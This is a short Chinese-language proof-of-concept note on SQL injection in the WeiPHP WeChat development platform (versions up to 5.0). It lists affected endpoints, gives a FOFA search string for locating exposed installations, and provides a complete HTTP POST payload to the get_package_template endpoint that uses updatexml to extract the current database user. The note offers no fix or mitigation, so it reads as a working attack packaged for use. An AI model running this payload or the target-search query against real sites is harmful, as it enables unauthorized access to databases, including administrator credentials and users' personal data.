W9-3WeiPHP-微信开发平台-SQL

漏洞描述：

weiphp 微信开发平台 _send_by_group、 wp_where、 get_package_template等接口处存在 SQL 注入漏洞，攻击者利用此漏洞可获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

weiphp <=5.0

网站图片：

网络测绘：

fofa语法：

FOFA：app="WeiPHP"

漏洞复现：

payload：

```
POST /index.php?s=home/addons/get_package_template&is_stree=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

addons[0]=BETWEEN 'a&addons[1][]= AND null or updatexml(1,concat(0x7e,(select user())),1)%23
```

效果图:
查询当前用户